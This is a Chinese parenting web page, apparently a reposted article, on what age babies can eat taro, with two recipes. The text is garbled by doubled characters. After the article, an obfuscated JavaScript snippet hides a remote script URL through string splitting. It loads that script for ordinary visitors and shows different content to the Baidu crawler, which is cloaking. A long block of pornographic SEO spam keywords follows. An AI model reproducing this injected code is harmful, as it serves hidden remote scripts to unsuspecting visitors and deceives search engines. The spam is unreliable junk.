當(dāng)前位置:首頁 > 母嬰 > 寶寶飲食 > 正文

寶寶多大可以吃芋頭呢

2017-04-06 16:29:32  來源:360常識網(wǎng)   熱度:
導(dǎo)語:芋頭的各種營養(yǎng)成份有很多,也屬于堿性類食物。而且芋頭味美,制作方法多樣,所以很受人們的喜愛。另外芋頭里所含的礦物質(zhì)氟,可以有助于保

芋頭的各種營養(yǎng)成份有很多,也屬于堿性類食物。而且芋頭味美,制作方法多樣,所以很受人們的喜愛。另外芋頭里所含的礦物質(zhì)氟,可以有助于保護(hù)牙齒和防齲的作用。那么對于部份家長就會問到,寶寶多大可以吃芋頭呢?接下來我們就來祥細(xì)了解下芋頭的主要功效和適合年齡,以及簡單的制作方法吧。

只是寶寶吃芋頭時要注意芋頭有粘液不好消化,寶寶太小,不易吃太多的芋頭,否則消化不好。寶寶吃的芋頭要做的爛一些,可以將芋頭放在粥里,熬粥的時候煮爛些,這樣芋頭本身的發(fā)干,也不會導(dǎo)致寶寶便秘發(fā)生。

寶寶吃芋頭的做法

芋頭玉米泥

食材:芋頭50克,新鮮玉米粒50克。

做法:

1、芋頭去皮洗凈,切成塊狀,用水煮熟。

2、玉米粒洗凈,煮熟,然后放入攪拌器攪拌成玉米漿。

3、將煮熟的芋頭用湯勺背面壓成泥狀,倒入玉米漿,攪拌均勻。

功效:玉米富含蛋白質(zhì),多種維生素、膳食纖維、胡蘿卜素、亞植物油酸等營養(yǎng)成分,芋頭的淀粉含量達(dá)70%,此外還富含蛋白質(zhì),鈣、磷、鐵、鉀、鎂等,經(jīng)常食用對肝腎有益。

淮山芋頭燒排骨

食材:仔排1斤,芋頭5個,淮山藥1根,鹽2克。

做法:

1、排骨洗凈后,切成長短適宜的小段,加入料酒、生抽、鹽略腌一會兒。

2、芋頭、淮山藥洗凈后去皮,切成滾刀塊。

3、鍋中放油燒熱,放入仔排大火爆炒。炒至仔排變色,略帶焦黃。

4、將仔排鏟至一邊,倒入芋頭翻炒后,加入適量鹽調(diào)味。加入淮山藥繼續(xù)炒。炒至淮山藥和芋頭半熟時,倒入清水1 碗,大火煮開,改小火煮至仔排、芋頭、淮山藥酥爛。收干湯汁出鍋即可。

功效:以芋頭和排骨為主料的一道燒制菜肴。芋頭含有豐富的黏液皂素及多種微量元素,可幫助機(jī)體糾正微量元素缺乏導(dǎo)致的生理異常,同時能增進(jìn)食欲,幫助消化,故中醫(yī)認(rèn)為芋艿可補(bǔ)中益氣。

通過以上對寶寶多大可以吃芋頭,以及芋頭的主要功效和適合年齡,以及簡單的制作方法的祥細(xì)介紹。對于平時身體健康的小孩,可以適量的芋頭。但一定要煮熟后食用。另外平時容易身體過敏的小孩,一定要注意,盡量少食。避免出現(xiàn)過敏等情況的出現(xiàn)。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
91免费国产精品| 国产午夜久久精品| 亚洲精品无码成人片久久| 国产精品lululu在线观看| 久久99国产精品久久| 精品国产亚洲一区二区三区在线观看 | 久久线看观看精品香蕉国产| 精品无码国产一区二区三区麻豆| 久久96精品国产| 久久夜色撩人精品国产小说| 九九99久久精品国产| 99久久99久久精品| 亚洲精品无码成人AAA片| 国产精品亚洲专区无码不卡| 国产精品久久一区二区三区| 亚洲中文字幕无码久久精品1 | 国产精品第12页| 精品乱子伦一区二区三区高清免费播放 | 亚洲欧洲国产精品久久| assbbwbbwbbwbbwbw精品| 四虎国产精品免费久久影院| 国产精品机视频大陆| 91精品手机国产免费| 久久久久夜夜夜精品国产| 国产精品免费久久久久影院| 国产色婷婷精品免费视频| 99久久er这里只有精品18| 69国产成人精品视频软件| 精品国产污污免费网站| 久久久不卡国产精品一区二区| 国产福利一区二区精品秒拍| 亚洲中文字幕久久精品蜜桃| 精品亚洲成在人线AV无码| 久久99精品久久久久久国产| 国产精品亚韩精品无码a在线 | 久久精品国产91久久综合麻豆自制| 国产A√精品区二区三区四区 | 91精品国产免费| 久久精品国产亚洲AV嫖农村妇女| 亚洲AV永久青草无码精品| 亚洲精品无码Av人在线观看国产|